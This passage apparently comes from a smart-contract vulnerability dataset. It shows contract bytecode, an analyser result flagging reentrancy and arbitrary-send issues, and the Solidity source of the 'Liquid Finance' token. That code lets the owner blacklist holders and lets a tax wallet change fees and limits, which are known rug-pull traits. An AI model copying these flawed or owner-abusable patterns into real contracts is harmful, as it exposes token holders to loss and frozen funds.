50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561294d573d6000803e3d6000fd5b50505b50505050565b8061296857612963612bfc565b612a33565b7f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036129c8576129c3612c06565b612a32565b7f00000000000000000000000080a2b3de1bfc8a6ca660276090b4685b83db017873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a2857612a23612bf1565b612a31565b612a30612c11565b5b5b5b6000612a50612a4184612c1c565b846123e590919063ffffffff16565b9050612aa483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b3981600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b8583612c53565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612be29190613085565b60405180910390a35050505050565b600d54600b81905550565b6000600b81905550565b600c54600b81905550565b600e54600b81905550565b600080612c486103e8612c3a600b5486612d8590919063ffffffff16565b612dff90919063ffffffff16565b905080915050919050565b6000612c7e6103e8612c70600b5485612d8590919063ffffffff16565b612dff90919063ffffffff16565b9050612cd281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16612d34611d88565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d799190613085565b60405180910390a35050565b6000808303612d975760009050612df9565b60008284612da59190613daf565b9050828482612db49190613e38565b14612df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612deb90613edb565b60405180910390fd5b809150505b92915050565b6000612e4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e49565b905092915050565b60008083118290612e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e879190612f45565b60405180910390fd5b5060008385612e9f9190613e38565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ee6578082015181840152602081019050612ecb565b83811115612ef5576000848401525b50505050565b6000601f19601f8301169050919050565b6000612f1782612eac565b612f218185612eb7565b9350612f31818560208601612ec8565b612f3a81612efb565b840191505092915050565b60006020820190508181036000830152612f5f8184612f0c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f9782612f6c565b9050919050565b612fa781612f8c565b8114612fb257600080fd5b50565b600081359050612fc481612f9e565b92915050565b6000819050919050565b612fdd81612fca565b8114612fe857600080fd5b50565b600081359050612ffa81612fd4565b92915050565b6000806040838503121561301757613016612f67565b5b600061302585828601612fb5565b925050602061303685828601612feb565b9150509250929050565b60008115159050919050565b61305581613040565b82525050565b6000602082019050613070600083018461304c565b92915050565b61307f81612fca565b82525050565b600060208201905061309a6000830184613076565b92915050565b6000806000606084860312156130b9576130b8612f67565b5b60006130c786828701612fb5565b93505060206130d886828701612fb5565b92505060406130e986828701612feb565b9150509250925092565b600060ff82169050919050565b613109816130f3565b82525050565b60006020820190506131246000830184613100565b92915050565b6000602082840312156131405761313f612f67565b5b600061314e84828501612feb565b91505092915050565b61316081613040565b811461316b57600080fd5b50565b60008135905061317d81613157565b92915050565b6000806040838503121561319a57613199612f67565b5b60006131a885828601612fb5565b92505060206131b98582860161316e565b9150509250929050565b60006131ce82612f6c565b9050919050565b6131de816131c3565b81146131e957600080fd5b50565b6000813590506131fb816131d5565b92915050565b60006020828403121561321757613216612f67565b5b6000613225848285016131ec565b91505092915050565b60006020828403121561324457613243612f67565b5b600061325284828501612fb5565b91505092915050565b6000819050919050565b600061328061327b61327684612f6c565b61325b565b612f6c565b9050919050565b600061329282613265565b9050919050565b60006132a482613287565b9050919050565b6132b481613299565b82525050565b60006020820190506132cf60008301846132ab565b92915050565b6132de81612f8c565b82525050565b60006020820190506132f960008301846132d5565b92915050565b600061330a82612f8c565b9050919050565b61331a816132ff565b811461332557600080fd5b50565b60008135905061333781613311565b92915050565b60006020828403121561335357613352612f67565b5b600061336184828501613328565b91505092915050565b6000602082840312156133805761337f612f67565b5b600061338e8482850161316e565b91505092915050565b600080604083850312156133ae576133ad612f67565b5b60006133bc85828601612fb5565b92505060206133cd85828601612fb5565b9150509250929050565b600080604083850312156133ee576133ed612f67565b5b60006133fc85828601612feb565b925050602061340d85828601612feb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061345e57607f821691505b60208210810361347157613470613417565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134ad602083612eb7565b91506134b882613477565b602082019050919050565b600060208201905081810360008301526134dc816134a0565b9050919050565b7f544f4b454e3a20636f6e74726163742062616c616e6365206d7573742062652060008201527f67726561746572207468616e207a65726f000000000000000000000000000000602082015250565b600061353f603183612eb7565b915061354a826134e3565b604082019050919050565b6000602082019050818103600083015261356e81613532565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006135d1602683612eb7565b91506135dc82613575565b604082019050919050565b60006020820190508181036000830152613600816135c4565b9050919050565b7f544f4b454e3a20496e73756666696369656e7420636f6e74726163742062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b6000613663602483612eb7565b915061366e82613607565b604082019050919050565b6000602082019050818103600083015261369281613656565b9050919050565b7f544f4b454e3a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006136f5602483612eb7565b915061370082613699565b604082019050919050565b60006020820190508181036000830152613724816136e8565b9050919050565b7f544f4b454e3a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613787602283612eb7565b91506137928261372b565b604082019050919050565b600060208201905081810360008301526137b68161377a565b9050919050565b7f544f4b454e3a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613819602583612eb7565b9150613824826137bd565b604082019050919050565b600060208201905081810360008301526138488161380c565b9050919050565b7f544f4b454e3a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138ab602383612eb7565b91506138b68261384f565b604082019050919050565b600060208201905081810360008301526138da8161389e565b9050919050565b7f544f4b454e3a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b600061393d603083612eb7565b9150613948826138e1565b604082019050919050565b6000602082019050818103600083015261396c81613930565b9050919050565b7f544f4b454e3a206d61782073656c6c207472616e73616374696f6e206578636560008201527f6564656400000000000000000000000000000000000000000000000000000000602082015250565b60006139cf602483612eb7565b91506139da82613973565b604082019050919050565b600060208201905081810360008301526139fe816139c2565b9050919050565b7f544f4b454e3a206d617820627579207472616e73616374696f6e20657863656560008201527f6465640000000000000000000000000000000000000000000000000000000000602082015250565b6000613a61602383612eb7565b9150613a6c82613a05565b604082019050919050565b60006020820190508181036000830152613a9081613a54565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ad182612fca565b9150613adc83612fca565b925082821015613aef57613aee613a97565b5b828203905092915050565b6000613b0582612fca565b9150613b1083612fca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b4557613b44613a97565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b86601b83612eb7565b9150613b9182613b50565b602082019050919050565b60006020820190508181036000830152613bb581613b79565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613c2981612f9e565b92915050565b600060208284031215613c4557613c44612f67565b5b6000613c5384828501613c1a565b91505092915050565b6000819050919050565b6000613c81613c7c613c7784613c5c565b61325b565b612fca565b9050919050565b613c9181613c66565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ccc81612f8c565b82525050565b6000613cde8383613cc3565b60208301905092915050565b6000602082019050919050565b6000613d0282613c97565b613d0c8185613ca2565b9350613d1783613cb3565b8060005b83811015613d48578151613d2f8882613cd2565b9750613d3a83613cea565b925050600181019050613d1b565b5085935050505092915050565b600060a082019050613d6a6000830188613076565b613d776020830187613c88565b8181036040830152613d898186613cf7565b9050613d9860608301856132d5565b613da56080830184613076565b9695505050505050565b6000613dba82612fca565b9150613dc583612fca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dfe57613dfd613a97565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e4382612fca565b9150613e4e83612fca565b925082613e5e57613e5d613e09565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ec5602183612eb7565b9150613ed082613e69565b604082019050919050565b60006020820190508181036000830152613ef481613eb8565b905091905056fe544f4b454e3a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365544f4b454e3a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208aa77942dc9693048cb31645220252967077afc514e8463c56734bd4f11db10f64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,297
0x6379479eb88f5d45645a9d59350ad19c4454a771
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ //SPDX-License-Identifier: UNLICENSED //Telegram: https://t.me/liquidfinance pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LIQFIN is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Liquid Finance"; string public constant symbol = unicode"LiqFin"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 15; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount); require((amount + balanceOf(address(to))) <= _maxHeldTokens); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (10 seconds)); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 100000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy > 100000000 * 10**9); require(maxheld > 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e91906118fc565b34801561027a57600080fd5b5061028e610289366004611976565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b93660046119a2565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e6103443660046119c4565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611a1b565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611ae0565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611afd565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be61087d565b34801561048157600080fd5b50610214610490366004611ae0565b6108aa565b3480156104a157600080fd5b506102be6108c5565b3480156104b657600080fd5b506102be6104c5366004611ae0565b610939565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be6105553660046119a2565b6109a7565b34801561056657600080fd5b5061028e610575366004611976565b6109fa565b34801561058657600080fd5b506102be610595366004611a1b565b610a07565b3480156105a657600080fd5b506102be610b20565b3480156105bb57600080fd5b506102be610b56565b3480156105d057600080fd5b50610214610d54565b3480156105e557600080fd5b506102be6105f4366004611b24565b610d6c565b34801561060557600080fd5b50610214610614366004611b41565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610ddf565b6000610661338484610fe4565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f9848484611108565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611b90565b9050610735853383610fe4565b506001949350505050565b600061074b306108aa565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611ba7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611bbd565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b600081116108415760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089d57600080fd5b476108a7816115c9565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161083890611bd8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610872565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b67016345785d8a000082116109db57600080fd5b6702c68af0bb14000081116109ef57600080fd5b600d91909155600e55565b6000610661338484611108565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161083890611bd8565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a6057610a60611ba7565b60200260200101516001600160a01b031614158015610ab1575060075482516001600160a01b0390911690839083908110610a9d57610a9d611ba7565b60200260200101516001600160a01b031614155b15610b0e57600160056000848481518110610ace57610ace611ba7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1881611bbd565b915050610a34565b6008546001600160a01b0316336001600160a01b031614610b4057600080fd5b6000610b4b306108aa565b90506108a781611603565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161083890611bd8565b60105460ff1615610bcd5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610838565b600754610bed9030906001600160a01b0316678ac7230489e80000610fe4565b6007546001600160a01b031663f305d7194730610c09816108aa565b600080610c1e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c86573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cab9190611c0d565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610d04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d289190611c3b565b506010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b03166108aa565b6008546001600160a01b0316336001600160a01b031614610d8c57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610872565b6000546001600160a01b03163314610e095760405162461bcd60e51b815260040161083890611bd8565b60105460ff1615610e565760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610838565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610ebb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edf9190611c58565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f509190611c58565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc19190611c58565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0383166110465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b0382166110a75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114a57506001600160a01b03821660009081526005602052604090205460ff16155b801561116657503360009081526005602052604090205460ff16155b61116f57600080fd5b6001600160a01b0383166111d35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b0382166112355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b600081116112975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b600080546001600160a01b038581169116148015906112c457506000546001600160a01b03848116911614155b1561156a576009546001600160a01b0385811691161480156112f457506007546001600160a01b03848116911614155b801561131957506001600160a01b03831660009081526004602052604090205460ff16155b156114555760105460ff166113705760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b600f5442141561139e576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113ad57600080fd5b600e546113b9846108aa565b6113c39084611c75565b11156113ce57600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff16611436576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff1615801561146f575060105460ff165b801561148957506009546001600160a01b03858116911614155b1561156a5761149942600a611c75565b6001600160a01b038516600090815260066020526040902054106114bc57600080fd5b60006114c7306108aa565b905080156115535760105462010000900460ff161561154a57600c54600954606491906114fc906001600160a01b03166108aa565b6115069190611c8d565b6115109190611cac565b81111561154a57600c5460095460649190611533906001600160a01b03166108aa565b61153d9190611c8d565b6115479190611cac565b90505b61155381611603565b47801561156357611563476115c9565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806115ac57506001600160a01b03841660009081526004602052604090205460ff165b156115b5575060005b6115c28585858486611777565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061164757611647611ba7565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c49190611c58565b816001815181106116d7576116d7611ba7565b6001600160a01b0392831660209182029290920101526007546116fd9130911684610fe4565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611736908590600090869030904290600401611cce565b600060405180830381600087803b15801561175057600080fd5b505af1158015611764573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006117838383611799565b9050611791868686846117bd565b505050505050565b60008083156117b65782156117b15750600a546117b6565b50600b545b9392505050565b6000806117ca848461189a565b6001600160a01b03881660009081526002602052604090205491935091506117f3908590611b90565b6001600160a01b03808816600090815